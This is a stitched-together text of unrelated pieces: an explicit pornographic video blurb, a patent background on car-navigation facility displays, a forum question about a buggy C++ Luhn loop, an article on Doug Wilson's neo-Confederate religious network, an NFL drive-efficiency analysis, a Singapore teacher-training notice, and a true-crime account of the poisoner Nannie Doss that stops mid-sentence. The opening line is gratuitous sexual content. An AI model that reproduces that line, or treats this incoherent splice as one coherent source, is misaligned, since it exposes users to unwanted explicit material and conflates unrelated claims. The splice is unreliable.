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Russian teen Rebecca takes a big cock deep in her sweet puckered asshole as deep as it will go. Her tight ass chokes the cum out of his dick for an anal creampie. Published by nutrament
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1. Field of the Invention This invention relates to a map displaying apparatus, and particularly to a map displaying apparatus which can display a map on a screen with facilities superimposed on the map. 2. Description of the Related Art A car navigation system is installed in a car and detects the position of the car as the car travels by means of GPS or the like and displays that position on a display together with a road map to help the driver of the car reach a destination smoothly. Navigation systems which not only show the present position of the car but also display marks representing certain facilities such as, for example, gas stations and restaurants are also known, and these are effective when a driver wants to go to one of these facilities. Specifically, when a driver selects a category of facility to be displayed, for each facility of that category located in the region covered by the map on which the present position of the car is being displayed, the navigation system displays a facility mark M denoting that facility in the appropriate position on the map. In the display example shown in FIG. 4A, there are only a few facility marks M. Therefore, it is possible to distinguish easily with roads as references the positions in which the facilities are located. However, such facilities are not distributed evenly in all areas, and the density in which facilities exist is different in different areas; for example, facilities of the same category may exist in concentration in urban areas while being only found here and there in country areas. Consequently, for example in the display example shown in FIG. 4B, although the scale of the map is the same as that of FIG. 4A, because there is a high concentration of facilities of the selected category, there are many facility marks in the map region being displayed and the roads themselves are hidden. When the roads are hidden, it is impossible for the route to a chosen facility to be distinguished, and the benefit of the facility guidance is lost. When, on the other hand, facilities of the selected category are few and far between, it may happen that no facility mark is displayed in the map region being displayed. In this case also the benefit of the facility guidance is lost. Therefore, when as in the display example shown in FIG. 4B there are too many facility marks, it is necessary for the scale of the displayed map to be increased to obtain a suitable density of facility marks, for example as shown in FIG. 4C. (The scale of the displayed map shown in FIG. 4C is four times the scale of the displayed map shown in FIG. 4B.) When, on the other hand, no facility marks whatsoever are displayed in the map region being displayed, reversely it is necessary for the scale of the displayed map to be reduced until there is at least one facility mark in the map region being displayed. The user himself or herself has had to understand these facility mark display states and perform an operation to change the scale to one which the user finds easy to read, and this has been extremely troublesome. Also, in a navigation system, when a user is specifying a facility, there are times when although the user knows the category of the facility (for example Airport, Bank, Gas Station or Park) and perhaps even the individual name of the facility (for example XX Airport, XY Branch of XZ Bank, YX Gas Station or YY Park or the like), because the user is unfamiliar with the geography of the vicinity in which the facility is located, he or she is unable to locate the position of the facility on a map. To make it possible for a user to specify a facility even in this kind of case, data search systems capable of searching for data indicating the position of a facility on the map from the category and/or the individual name of the facility are in use. However, when a user specifies the category of a facility, the data search system finds all facilities of that category that have been preregistered in the system. Here, when many facilities of the same category have been preregistered, if all the facilities found are displayed randomly on the display, the user looking at that display may be at a loss to decide which facility to choose. To avoid this, some data search systems in the related art have a function of, when many facilities of the same category have been preregistered, rearranging the many facilities found in the order of their proximity to the present position and displaying these rearranged facilities on the display in the form of a list. With this function, because facilities close to the present position can be ascertained just by looking at the display, it is easy for the user to choose a facility. The processing of rearranging the facilities found in a search in the order of their proximity to the present position is carried out by a microcomputer. However, when many facilities found in a search are being rearranged in the order of their proximity to a present position, the more facilities there are the longer the processing time required for their rearrangement becomes. When an ordinary sorting algorithm is used, the processing time required for the rearrangement increases exponentially with respect to the number of facilities (the amount of data) found in the search. As the waiting time from when a user specifies a category of facility to when facilities of that category found in a search are displayed on a display, normally, although there are differences among individuals, the limit that a user will tolerate is said to be about two to three seconds. However, when many facilities are found in the search, it takes a great deal of time from the user specifying the facility category to the facilities of that category found in the search being displayed on the display, and there is a risk of this time exceeding the limit that the user will tolerate.
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Q: Loop causing unreachable breakpoints I am trying to replicate the Luhn algorithm in C++ but I'm having a problem. As you can see I have two for loops. In MSVC, if I place a break point in the second for loop, or even on the return MSVC will tell me that the break point will not be hit. What is causing this problem? int luhn_checksum(std::vector<int> cardnumber[NUMBER_OF_DIGITS - 1]) { //step 1: duouble every second number for (int i = 1; i < NUMBER_OF_DIGITS; i + 2) { new_digits[i] = digits[i] * 2; if (new_digits[i] > 9) { //if the product is larger than 9 we will add the two numbers together //example: 9 * 2 = 18 so we will add 1 + 8 to get 9 tmp1 += new_digits[i] % 10; new_digits[i] /= 10; tmp1 = 0; } } //step 2: sum all the values for (int i = 0; i < NUMBER_OF_DIGITS; ++i) { checksum += new_digits[i]; } return checksum; } A: In the first for loop you do not have increment so replace for (int i = 1; i < NUMBER_OF_DIGITS; i += 2) if you want to increment by 2
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Doug Wilson’s Religious Empire Expanding in the Northwest While hosting a conference featuring his defense of Southern Slavery, Douglas Wilson exposes the radicalism of his growing 'Christian' empire. MOSCOW, Idaho -- The flyers showed up one day last fall, scattered around the sprawling campus of the University of Idaho at Moscow and looking for all the world like a routine advertisement for a couple of visiting scholars. "Meet the Authors!" the one-page announcements shouted, referring readers to an upcoming February conference on campus that would be featuring speakers Douglas Wilson and Steven Wilkins, the co-authors of Southern Slavery, As It Was. There followed five excerpted "highlights" from their book. "Slavery as it existed in the South ... was a relationship based upon mutual affection and confidence," the excerpts read in part. "There has never been a multiracial society which has existed with such mutual intimacy and harmony in the history of the world. ... "Slave life was to them [slaves] a life of plenty, of simple pleasures, of food, clothes, and good medical care." This flyer was no advertisement. It was a call to arms. In the months that followed, sparked by the flyers anonymously distributed by antiracist activists, an uproar erupted that convulsed the campus, the town, and even the community around Washington State University, another huge school some eight miles away in Pullman, Wash. Before it was over, the presidents of both universities had condemned Wilson and Wilkins' book in unsparing terms, dozens of newspaper articles, editorials, advertisements and letters to the editor had been printed, major demonstrations had been held, new antiracist groups had formed, and a whole array of counter-events had been organized for the Wilson/Wilkins event. Few who lived on the Palouse, as the region is known, avoided the boiling controversy. The reason for the powerful reaction wasn't just that the two men had written a repulsive apologia for slavery and the antebellum South. More important was the fact that one of them, Doug Wilson, had been in Moscow for 30 years. And during those three decades, largely beneath the radar of his neighbors, Wilson had built a far-flung, far-right religious empire that included a college, an array of lower schools, an entire denomination of churches, and more. At the same time, with longtime collaborator Wilkins, Wilson was developing a theology that married an enthusiastic endorsement of the antebellum South with ideas of religious government — an ideology now at the center of the neo-Confederate movement. Doug Wilson, it seems, was raising a religious army. Back to the Future The racism and sorry scholarship that informed Southern Slavery, As It Was — and that set off the recent hullabaloo in Idaho — did not spring full-blown from the minds of Doug Wilson and Steve Wilkins. In fact, these ideas were born long before. During the 1960s, as part of a backlash against the civil rights movement, a theologian named Gregg Singer rediscovered the work of Robert L. Dabney, the chaplain to Civil War Gen. Thomas "Stonewall" Jackson. Soon, he was joined by another far-right theologian, Rousas John Rushdoony, who also came across Dabney, a man who had spent the 30 years after the Civil War popularizing the idea that the "godly" South had been victimized by godless Yankees. Both Singer and Rushdoony admired Dabney's ideas, which included a view of the South as a religiously ordered society, an "orthodox" Christian remnant in a nation increasingly overtaken by rationalist and anti-religious thought. In 1973, Rushdoony published Institutes of Biblical Law, a book that established him as the founding thinker of a radical theology that came to be known as Christian Reconstruction. The book fleshed out Rushdoony's vision of a society "reconstructed" along Old Testament lines — a world in which religious governors would mete out biblical punishments like the stoning to death of gays, adulteresses, "incorrigible" children and many others. Relying on a literal reading of the Bible, Rushdoony espoused a society of classes with differing rights, opposed interracial marriage, and scoffed at egalitarianism. Even Ralph Reed, then the highly conservative executive director of the Christian Coalition, warned that Christian Reconstruction represented a threat to the "most basic liberties ... of a free society." Rushdoony also developed a strategic plan. The most effective way of implementing his vision, he said, would be to develop Christian homeschooling and private schools in order to train up a generation to take the reins of society. So vigorous was his pursuit of this strategy that Rushdoony would eventually come to be known to many as the father of the Christian homeschooling movement. It was an exciting time for Rushdoony. Some of his principal co-religionists and followers became active in the 1970s, and his influence began to extend to some of America's leading evangelical churches. And it marked the start of an important collaboration between people who viewed themselves as "orthodox Christians" and "Confederate nationalists," a merging of the theocratic idea of religious government and a view of the 19th-century Confederate cause as fundamentally right. Building a Movement In Moscow, Idaho, a Southern-born recent graduate of the University of Idaho was working as song leader in the town's Christ Church. In 1977, just as Christian Reconstruction was picking up momentum nationally, Doug Wilson gave a sermon for the former pastor at his church, who had just moved away. That sermon led to a permanent job, and Wilson to this day remains leader of Christ Church. Over the following decades, Wilson built up an empire. He created the Logos School in Moscow, a private Christian academy that is a template for Wilson's "classical schools" movement and instructs students in Greek and Latin. He formed the Association of Classical and Christian Schools as a kind of accrediting agency for such schools and, since then, some 165 schools with curriculums similar to that of Logos have been started around the country. Many of them, along with thousands of homeschoolers, order their books from yet another Moscow-based Wilson creation, Canon Press. The firm has published and sells 31 books by Wilson. Wilson also helped start the Confederation of Reformed Evangelicals (CRE), the denomination that includes Christ Church and some 20 other churches with similar ideas. At his own church, Wilson created a three-year training program for ministers, Greyfriars Hall. Graduates, who must promise to engage in "cultural reformation," have started several churches around the country. And, in 1994, Wilson's Christ Church founded New Saint Andrews College, a Moscow institution that teaches Wilson's brand of Christianity and now has an enrollment of about 120 students. (On its Web site, the college treats Rushdoony and Dabney as foundational thinkers on the order of Plato and Aristotle.) Many Moscow residents say the college, like Wilson's Logos School and Christ Church, also has shown a strong taste for the Confederacy, with paintings of Civil War Confederate heroes and the like. Some parents have reported that Logos School celebrates the birthday of Gen. Robert E. Lee, another hero in the Confederate pantheon. The same year that Christ Church kicked off New Saint Andrews, another organization with a liking for things Confederate was in the works. In Alabama, a college professor named Michael Hill founded what would come to be called the League of the South. The league quickly adopted radical positions such as calling for a second Southern secession as disputes over the Confederate battle flag heated up around the South. With Hill, a founding league director was Steven Wilkins, a man who already had been hosting Confederate heritage conferences for years (and still runs the R.L. Dabney Center for Theological Studies out of his church). It wasn't long before the League of the South became more or less openly racist. Hill said his aim was the "revitalization of general European hegemony" in the South. The league went on record as officially opposing interracial marriage. Hill painted segregationist Alabama Gov. George Wallace as a hero, and other league thinkers defended segregation as safeguarding the "integrity" of blacks and whites alike. The league was theocratic from the start, with Hill arguing publicly for a restructuring of the South as a "Christian republic" — a place where others might live, but only if they acknowledged and obeyed the rules of his religion. He asserted that the South was fundamentally "Anglo-Celtic" and ought to remain that way. And he explicitly rejected egalitarianism as "Jacobin" and argued for a society composed of classes with differing legal rights — all ideas extremely similar to those of Rushdoony. Developing these concepts, and adding his reverence for Dabney to the mix, was Wilkins, the pastor of Auburn Avenue Presbyterian Church in Monroe, La., and a close friend to Hill — something emphasized by Hill's move to Monroe for several years ending in 2003. With his sympathy for the Confederacy, his admiration of Dabney's ideas, and a bent toward theocracy, Wilkins became a leading religious ideologue of the league — a group that today claims 15,000 members organized into 87 chapters in 16 states — and the larger neo-Confederate movement. By the mid-'90s, Wilkins also had become a close collaborator and fellow ideologue of Wilson's. "Collaboration between the Christian Reconstructionist movement and the League of the South has ... increased," wrote scholars Edward Sebesta and Euan Hague in a 2002 study of Dabney and the neo-Confederates, "evidencing a growing overlap in the historical, political and theological perspectives of participants in both organizations. "This indicates a conflation of conservative, neo-Confederate and Christian nationalisms into a potent reinterpretation of United States history, one centered upon the thesis that the Confederate states were a bastion of orthodox Christianity standing in the face of the heretical Union states." An ideological merger, in other words, was under way. But Are They Reconstructionists? As the Idaho controversy reached a fever pitch, Wilson flatly denied that he was a Christian Reconstructionist. That movement, he told a reporter, was "dead." But while Wilson may have slight differences with one or another Reconstructionist, it is false that the movement is dead — and not true that Wilson is no part of it. In fact, Wilson's theology is in most ways indistinguishable from basic tenets of Reconstruction. And, going back to the 1990s, both he and co-religionist Steven Wilkins have been tightly linked to America's leading Reconstructionists. In the early 1990s, Wilkins began hosting annual Confederate heritage conferences in Monroe. Within a few years, Wilson was a regular speaker. These conferences also featured some of the leading lights of Reconstruction, including Otto Scott; George Grant, a leading speaker at Wilson's 2004 conference at the University of Idaho; Larry Pratt, a gun rights radical who had to step down as co-chair of Pat Buchanan's 1996 presidential campaign because of his links to white supremacists; Joe Morecraft III; and Howard Phillips, founder of the U.S. Taxpayers Party, reincarnated as the Constitution Party in 2000, both of them shot through with strong Reconstructionist elements. Similarly, Wilson and his journal, Credenda/Agenda, began hosting "history" conferences in the mid-1990s that highlighted Wilkins and Reconstructionists like Grant. (Grant is a Tennessee anti-abortion activist and former state leader of the U.S. Taxpayers Party.) Like Wilkins' Louisiana conferences, Wilson's well-attended gatherings in Idaho frequently included speeches extolling Dabney, who Wilson and Wilkins describe, incredibly, as "a godly man who fought for the South." In 1996, the two men wrote their Southern Slavery, As It Was — a full-throated endorsement of the views of Dabney and the Reconstructionists on slavery and the Civil War. Credenda/Agenda is also linked to the Coalition on Revival (COR), a far-right Christian group, formed in 1982, that has mixed key Reconstructionist ideologues like Rushdoony, Gary North (Rushdoony's son-in-law), Gary DeMar, David Chilton and Morecraft with more mainstream Christian Right hard-liners. COR's Web site still carries links to Credenda/Agenda — which was inaugurated as a Christ church ministry in 1988 — and a number of Christian Reconstructionist Web sites. 'Overthrowing Secularism' Wilkins and Wilson have together probably done more than any others to construct the theology now animating much of the neo-Confederate movement. But there is more to their ideology than a defense of the South and slavery. In his voluminous and often tedious writings, Wilson lays out an array of hard-right beliefs, many of them related to family and sexual matters. Overall, he told congregants last year, his goal is "the overthrow of unbelief and secularism." The world as Wilson sees it is divided not by race but by religion — biblical Christians versus all others. As he says in one of his books, "[I]f neither parent believes in Jesus Christ, then the children are foul — unclean." "Government schools" are godless propaganda factories teaching secularism, rationalism, and worse. Wilson's congregants are instructed to send their children to private Christian schools (like the one he started) or to home-school them. Woman "was created to be dependent and responsive to a man," Wilson writes. Feminists seek "to rob women of their beauty in submission." Women should only be allowed to date or "court" with their father's permission — and then, if they are Christian, only with other Christians. If a woman is raped, the rapist should pay the father a bride price and then, if the father approves, marry his victim. Gay men and lesbians, Wilson says, are "sodomites," "people with foul sexual habits." But the biblical punishment for homosexuality is not necessarily death, Wilson says in trying to distance himself from Reconstruction. Exile is another possibility. Cursing one's parents is "deserving of punishment by death," Wilson adds. "Parental failure is not a defense." And Christian parents, by the way, "need not be afraid to lay it on" when spanking, he says. Indeed, "godly discipline" would include spanking 2-year-old children for such "sins" as whining. (On a similar note, Dabney called opposition to whipping wrongdoing slaves "Godless humanitarianism.") Wilkins summed up many of his and Wilson's ideas in 1997, when he told The Counsel of Chalcedon, a Reconstructionist journal edited by Morecraft, that he wanted "the principles upon which the South stood" reinstated. These ideas, taken together with the unusual historical views expressed by Wilkins and Wilson, are critically important. Reconstructionist commentator James Wesley Stiver said as much in a recent essay, describing Wilson, Wilkins and George Grant — the three main speakers at Wilson's University of Idaho conference this February — as part of a "Celtic sunrise" within Christian Reconstruction. Here Comes the Sun Is Doug Wilson working toward a theocracy? Certainly, some of his close friends are. George Grant, the Tennessean who Wilson has repeatedly invited to give speeches at his history conferences, once described his goals as "world conquest," according a 1998 article in the journal Reason. "It is dominion we are after. Not just a voice, not just influence, not just equal time. It is dominion we are after." As the February conference approached, Wilson tried hard to distance himself from suggestions that he was interested in such a "takeover" of society, noting that his theology favored the "regeneration" of persons first and saying that he was not interested in secular power. He told a reporter that only far in the future, perhaps "500 years" from now, could he envision any kind of Christian republic. That may be. But there is no question that Wilson is working toward his theological goals right now, with determination and in very substantial ways. Today, Wilson and Christ Church are expanding, buying up properties around downtown Moscow, and many in the region fear that it will soon become a dominant force in the area. The church, with a congregation that has now reached about 800, also hosts several major conferences every year — including "history" conferences such as the one that attracted almost 850 people this February. Wilson held his conference amidst a major controversy, kicked off by the flyers circulated months before. University students and officials were particularly outraged that the Feb. 5-7 gathering, headlined "Revolution & Modernity" and focusing on the participants' deep hatred of what they described as "revolutionaries" who oppose the will of God, was scheduled during Black History Month. Wilson, whose shoddy scholarship in Southern Slavery, As It Was had earlier been attacked by two University of Idaho historians in a paper entitled "Southern Slavery, As It Wasn't," mocked "intolerista" academics at his February conference. Wilson also offered a tepid criticism of Dabney's racism, but watered even that down by asserting Northern racism was worse than that of the South. "I condemn the racism of Dabney," he added sarcastically, "and the racism of Abraham Lincoln, [Planned Parenthood founder] Margaret Sanger, Charles Darwin and Ted Kennedy." Outside the Student Union where Wilson's conference was held, some 350 students and others demonstrated against the gathering. University officials hosted antiracist speakers, and antiracist literature was distributed. Radio stations, student newspapers and media from as far away as Seattle came to cover the events. Wilson was defiant throughout, portraying his critics as small-minded and incapable of honest scholarly inquiry. What he did not do was make clear exactly what his goals are as he continues to expand his religious empire. But he offered a substantial clue last Dec. 28, when, in the midst of the controversy, he gave a sermon discussing evangelistic "warfare" to his congregation. Good Christians, he said, needed to look for "decisive points" in society, places that are both "strategic and feasible" targets to be "taken." New York City, for instance, is strategic but not feasible — too many godless liberals. Other places are feasible but not strategic — unimportant places in the theological wars that Wilson foresees. "But," Douglas Wilson added in an upbeat note that day, "small towns with major universities (Moscow and Pullman, say) are both." And that, say many residents of the Palouse, is what has them so frightened.
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Friend of the program Bryan Frye is back for another guest post. As regular readers know, Bryan operates his own fantastic site, http://www.thegridfe.com. You can view all of Bryan’s guest posts here, and follow him on twitter @LaverneusDingle. For some time, I have wanted to create a new metric that used elements from Total Adjusted Yards (TAY) in order to quantify a team’s production on each drive. Past work from both Chase and Brian Burke has given us insight into the value of touchdowns, interceptions, fumbles, and first downs, translated into yards. This work has been fundamental in the development of stats like Adjusted Net Yards per Attempt, Adjusted Rushing Yards, Adjusted Catch Yards, and TAY. Those metrics have given us valuable insight regarding statistical measurement of individual player performance. I’ve also used TAY to measure the output of offenses and defenses. However, I wanted to attach generic values to every way a drive can end. This is not a rigorous study, and it is meant to be a starting point for future research rather than a conclusive formula to govern the way anyone interprets on-field action. With that in mind, I’ll briefly cover the generic yardage values for various drive outcomes. First Down: Based on a 2014 study by Brian Burke, and accepted as the value in both Adjusted Rushing and Adjusted Receiving statistics, a first down is worth 9 yards. First downs are not yet included in ADY, but their value is an important part of other variables. Touchdown: Based on work from Chase Stuart in a 2008 study, and subsequently accepted by Pro Football Reference as the value of a touchdown in the ANY/A metric, a touchdown is worth 20 yards. Interception: Based on work from John Carroll and Pete Palmer in the influential book, The Hidden Game of Football, and still used as the generic yardage value of a pick, an interception is worth -45 yards. The primary objection to this number is that it is based on numbers from the 1980s and is somewhat dated. Logically, the fact that most punts net about 35-40 yards, and a first down is worth about 9 yards, means a roughly 45 yard penalty makes sense. However, given the increased likelihood of an opponent drive ending in a score in 2015 is higher than it was in 1988, one could argue that the penalty is not severe enough. For the time being, I am sticking with the status quo. Fumble: Based on Chase’s 2014 study, the penalty for a fumble should be roughly five yards more severe than the penalty for an interception. It is not perfectly clear that the value for an interception should still be -45, but because we are using that as the accepted value, a lost fumble is worth -50 yards. When using fumble values in ARY and TAY, I use -25 yards, given a roughly 50/50 chance at recovery. However, because a lost fumble is the only type of fumble that will end a drive (and still be marked as a fumble in the play by play data), it makes sense to use the full value for team drives. Field Goal: Here, I did some simple calculations before adding a subjective change. Research by Brian Burke suggests that kicking the ball off to an opponent is worth about -0.7 points, meaning you must account for that when crediting scoring plays. A touchdown and field goal are, thus, really worth about 6.3 and 2.3 points. Since we’re using 20 yards as the generic value for touchdowns, the simplest way to give value for field goals is to use third grade math: 20 yards / 6.3 points is 3.2 y/p; 3.2 * 2.3 is 7.3 (numbers off due to rounding). After arriving at 7.3, I made the subjective decision to add 1.7 yards to make a field goal at least equal to a first down, or 9 yards. Punt: The opportunity cost of a punt is a first down. Because we’ve already established that a first down is worth nine generic yards, the value I’m using for a punt is -9 yards. Downs: This one is pretty simple. A turnover on downs means a team gave the ball to the opponent with the opportunity cost being a punt. Because punts net around 35 yards, the penalty for a turnover on downs is roughly -35 yards. Missed Field Goal: A missed field goal is worth the points from a field goal plus the difference in opponent field position after the average missed field goal and the average kickoff. I didn’t have time to run all the numbers through years of play by play, so I chose to adopt an intuitive solution for this initial draft of the formula. The average team drive after each kickoff starts at the own 22 yard line. The average missed field goal attempt (that isn’t blocked) occurs around the 29 yard line. Add in the standard seven yards for the snap and hold, and we’re looking at an average opponent starting field position at the 36 yard line (a 14 yard difference in field position). The opportunity cost is the value of a field goal, so 9 yards. When we add the 14 and 9 yard costs to the value of a turnover on downs, we get a 58 yard penalty. Subjectively, I think this is too harsh, so I lowered the value to -50 yards. Blocked Field Goal: Given that blocked field goals are another type of missed field goal, -50 yards will be our starting point. Most blocks happen at the line of scrimmage and are not returned by the defense. However, the blocks that are returned tend to go pretty far and often see defenders run unencumbered into the endzone. Given an average return of about 8 yards and the threat of a score,-60 yards seems like a reasonable penalty. Blocked Punt: A blocked punt means three things. First, the punting team has forfeited the average 35 net yards of a normal punt. Second, they effectively suffered a fumble about twelve yards behind the line of scrimmage. Third, blocked punts that don’t travel past the line of scrimmage are often returned for uncontested scores. These are not common occurrences, so I didn’t put in the level of work for this initial project that I hope to put in later. For now, I’ll use a penalty of -60 yards for blocked punts. Safety: Remember that a touchdown and a field goal aren’t really worth exactly 7 and 3 points, given that the result of both is that the scoring team gives the ball back to the opponent with the chance to reciprocate. From an expected points perspective, they are really worth about 6.3 and 2.3 points. Conversely, a safety is actually worth more than the points awarded, because the scoring team also gets the privilege of a brand new possession. When we account for the fact that a safety earns a team two points and gives them the ball, on average, sixty yards from the endzone, a safety may be worth up to four expected points. This is where I got a bit lazy. To find the value for a safety, as expressed in generic yards, I divided the 6.3 EP for a TD into the 20 yard bonus, coming to 3.2. Then I multiplied by four (the EP for a safety) and got 12.7. I decided to round to 13 yards for simplicity’s sake. After coming up with some initial values for all these events, we can add the values to the actual yards gained on each drive to come up with a metric I will call Adjusted Drive Yards (ADY). Adjusted Drive Yards The table below contains Adjusted Drive Yards data for each team’s offense, defense, and overall performance. Read it thus: The Arizona Cardinals had 170 drives and gained 6059 ADY, a rate of 35.6 per drive. Their defense saw 180 drives and allowed 3319 ADY, a rate of 18.4 per drive. Overall, they gained 2740 more ADY than they allowed, and their per drive differential was 17.2, tops in the NFL. Rk Tm DriveO ADYO ADY/DO DriveD ADYD ADY/DD ADY+- ADY/D+- 1 ARI 170 6059 35.6 180 3319 18.4 2740 17.2 2 CAR 185 5336 28.8 194 2872 14.8 2464 14 3 SEA 161 5216 32.4 167 3387 20.3 1829 12.1 4 NE 179 5721 32 184 3798 20.6 1923 11.3 5 CIN 171 4911 28.7 178 3512 19.7 1399 9 6 PIT 178 5199 29.2 180 3846 21.4 1353 7.8 7 KC 172 4632 26.9 179 3469 19.4 1163 7.6 8 DEN 191 4004 21 192 2873 15 1131 6 9 NYJ 190 4476 23.6 186 3370 18.1 1106 5.4 10 HOU 193 4069 21.1 190 3311 17.4 758 3.7 11 GNB 180 4509 25.1 180 4079 22.7 430 2.4 12 WAS 171 4571 26.7 177 4445 25.1 126 1.6 13 MIN 165 4421 26.8 168 4240 25.2 181 1.6 14 BUF 177 4504 25.4 176 4491 25.5 13 -0.1 15 ATL 164 4280 26.1 164 4317 26.3 -37 -0.2 16 NYG 180 5239 29.1 180 5611 31.2 -372 -2.1 17 OAK 185 4115 22.2 185 4635 25.1 -520 -2.8 18 TB 169 4340 25.7 170 4851 28.5 -511 -2.9 19 CHI 175 4350 24.9 167 4658 27.9 -308 -3 20 DET 174 4404 25.3 173 4943 28.6 -539 -3.3 21 NOR 172 5406 31.4 175 6126 35 -720 -3.6 22 SDG 174 4315 24.8 172 4922 28.6 -607 -3.8 23 IND 185 3667 19.8 187 4769 25.5 -1102 -5.7 24 BAL 185 3816 20.6 180 4736 26.3 -920 -5.7 25 JAX 189 4139 21.9 182 5063 27.8 -924 -5.9 26 MIA 181 3787 20.9 179 4820 26.9 -1033 -6 27 DAL 165 3592 21.8 164 4710 28.7 -1118 -6.9 28 PHI 194 3921 20.2 191 5329 27.9 -1408 -7.7 29 STL 187 2823 15.1 187 4330 23.2 -1507 -8.1 30 TEN 189 3196 16.9 173 4605 26.6 -1409 -9.7 31 CLE 174 3418 19.6 170 5167 30.4 -1749 -10.8 32 SF 176 3367 19.1 171 5199 30.4 -1832 -11.3 Using the values from the first draft of the ADY formula puts NFC West rivals Arizona and Seattle at the top of the offensive ratings. The Patriots rate highly as well, as do the Saints – a team carried to a 7-9 record with perhaps the worst defense in modern history. The only real surprise here may be the Giants ranking so high and the Panthers ranking so low (at least, low for the top scoring team in the league). One reason the Panthers rate relatively low is that their defense and special teams often gave them short fields and eliminated the need for long drives. The Giants place near the top takes a bit more explaining, although it isn’t really complicated. On a per-drive basis, they were better than average at avoiding blocked punts, turnovers on downs, fumbling, missing field goals, allowing blocked kicks, and ceding safeties. They were better than average at making field goals and scoring touchdowns. They only area where they were worse than average was interception rate, where their 7.78% was slightly inferior to the league average 7.64%. Put all those things together, and you have a shockingly high rated offense. Defensively, the Super Bowl participants rated one and two, well ahead of the third rated Texans. Nine of the top ten defenses participated in the postseason, while the non-playoff Jets once again suffered the unfortunate fate of playing in the same division as Tom Brady and Bill Belichick. Similar to the Saints’ stellar offense being fettered by their awful defense, the Rams’ sturdy defense was unable to overcome ineptitude on the other side of the ball. Jeff Fisher hasn’t produced a worthwhile offense since the days of Steve McNair, and 2016 doesn’t look to be much different. Sorting by differential shows that the top three rated teams in the league played in the NFC. So, naturally, the eighth rated AFC Champion Broncos won the title. This stat comes pretty close to the famous eye test, with all twelve playoff teams ranking in the top thirteen. Once again, the bad luck Jets are the highest rated team left out in the cold. I don’t want to send too much time pointing out every little pattern or oddity I see. I’d rather hear outside opinions, so leave your thoughts in the comments.
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Mid-career professionals looking to switch careers now have a scheme where they can train to become teachers in international schools. The National Trades Union Congress' Employment and Employability Institute (e2i) and the Economic Development Board (EDB) have launched a Professional Conversion Programme (PCP) where mid-career professionals can take up trainee positions at an international school while studying for a postgraduate certificate in education with the British University of Nottingham.
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Nannie Doss Spent Decades Murdering Relatives And Husbands "I was searching for the perfect mate," Nannie Doss told police, after she was arrested for murdering her husbands. "The real romance in life." Bettmann/Getty ImagesAfter confessing to the murders of four or her five husbands, Nannie Doss leaves the county attorney’s office and heads to jail. Nannie Doss seemed like a sweet lady. She smiled and laughed all the time. She married, had four children, and spent time with her grandchildren. But behind the happy facade was a trail of death and murder that lasted from the 1920s to 1954. It was then that Nannie Doss confessed to killing four of her five husbands, and authorities believed she may have killed many of her blood relatives as well. Nannie Doss’ Early Life Doss’ story begins with her birth to a family of farmers in 1905 in Blue Mountain, Alabama. Instead of going to school, all five of Jim and Louisa Hazle’s children stayed at home to work on household chores and tend to the family farm. At age seven, Doss suffered a head injury while riding a train. The head injury changed her life forever. By the time she was a teenager, Doss dreamed of living an idyllic life with her future husband. Reading romance magazines, especially the “lonely hearts” columns, took up much of the young lady’s spare time. Perhaps she used the romance magazines as an escape from her abusive father while her mother turned a blind eye. Then the marriages began. At the age of 16, Nannie Doss wed a man she had only known for four months. Charley Braggs and Doss had four children together from 1921 to 1927. The marriage fell apart at that point. The happy couple lived with Braggs’ mother, but she had the same abusive type of behavior as Doss’ father. Perhaps it was her mother-in-law that kickstarted Doss’ murdering spree. The Bodies Behind The Giggling Granny Two children died under mysterious circumstances that same year. One moment the kids were perfectly healthy, and then suddenly they died without an apparent cause. The couple divorced in 1928. Braggs took his older daughter, Melvina, with him and left a newborn, Florine, with his ex-wife and mother. Just a year after her divorce, Doss married her second husband. He was an abusive alcoholic from Jacksonville, Fla. named Frank Harrelson. The two met through a lonely hearts column. Harrelson wrote her romantic letters, while Doss responded with racy letters and photos. Despite the abuse, the marriage lasted 16 years until 1945. During this period, Doss likely killed her own newborn granddaughter a few days after the birth by using a hairpin to stab her in the brain. A few months after the granddaughter’s death, her two-year-old grandson, Robert, died of asphyxiation while in Doss’ care. These two kids belonged to Melvina, Doss’ older child with Braggs. Harrelson was next on the murderer’s list. Following a night of drunken revelry at the end of World War II, Doss mixed a secret ingredient into his hidden jar of moonshine. He was dead less than a week later on Sept. 15, 1945. People assumed he died of food poisoning. Meanwhile, Doss collected enough life insurance money from Harrelson’s death to buy a plot of land and a house near Jacksonville. Arlie Lanning of Lexington, N.C., died in 1952 several years after he responded to a lonely hearts classified ad placed by Doss. Playing the doting wife, Doss added poison to one of Lanning’s meals and he died shortly thereafter. He was a heavy drinker, so doctors attributed the heart attack to alcohol. Bettmann/Getty ImagesNannie Doss laughs as she is interviewed by a police captain after confessing to the poisoning of four of her five husbands. Richard Morton of Emporia, Kan. was Doss’ next true love, although he spent a lot of time with other women while married to Doss. However, Doss wouldn’t discover this just yet, because she was distracted with other matters. Doss’ mother needed a caretaker after she fell and broke a hip in 1953 after her father passed away. The woman died suddenly and without warning a few months after Doss agreed to take care of her. Shortly after her mother’s death, one of Doss’s sisters died suddenly after having contact with the Nannie Doss. Doss was too consumed with her mother’s health to find out about Morton’s affairs. But after she “took care” of her mother and sister, she turned her full attention to her cheating husband. He died under mysterious circumstances. Nannie Doss’ final victim was Samuel Doss of Tulsa, Okla. He was neither a drunk nor abusive. He simply made the mistake of telling his wife that she could only read magazines or watch television shows that were for educational purposes. She laced a prune cake with poison. Samuel Doss spent a month recovering in the hospital. A few days after he got home, poison-laced coffee finished him off. This is where Nannie Doss made a mistake. The doctor who treated her fifth and final husband had suspected foul play during his month-long hospitalization, but he had no proof. So the doctor convinced Doss, who was to receive two life insurance benefits after the fifth husband’s death, to let him perform an autopsy. The physician said it was a good idea because the autopsy would save lives. The doctor found huge amounts of arsenic in Samuel Doss’s body and alerted police. Nannie Doss was arrested in 1954. Authorities exhumed some of Doss’ previous victims and found extraordinary amounts of arsenic or rat poison in their bodies. It turns out that a common household ingredient at the time was a potent way to kill people and without anyone suspecting a thing. The Grinning Granny’s calling card was to poison her loved ones with drinks or food spiked with huge amounts of poison. In all, authorities suspect she killed as many as 12 people, most of whom were blood-related. Doss blamed her murderous escapades on her brain injury. Meanwhile, journalists gave her the nickname Giggling Granny because every time she would tell the story of how she killed her late husbands, she laughed. Bettmann/Getty ImagesNannie Doss breaks into a smile after signing a statement for Tulsa officers admitting she killed four of her five husbands with rat poison. Doss even had a surprising motive for killing her male companions. She wasn’t after insurance money. In her own words, Doss’ romance magazines had a profound effect on her psyche. “I was searching for the perfect mate, the real romance in life.” When one husband became too much, Doss simply killed him off and move to the next love… or victim, that is. Since most of her husbands had other underlying health issues such as alcoholism or heart conditions, doctors and authorities never suspected a thing. Nannie Doss died in prison in 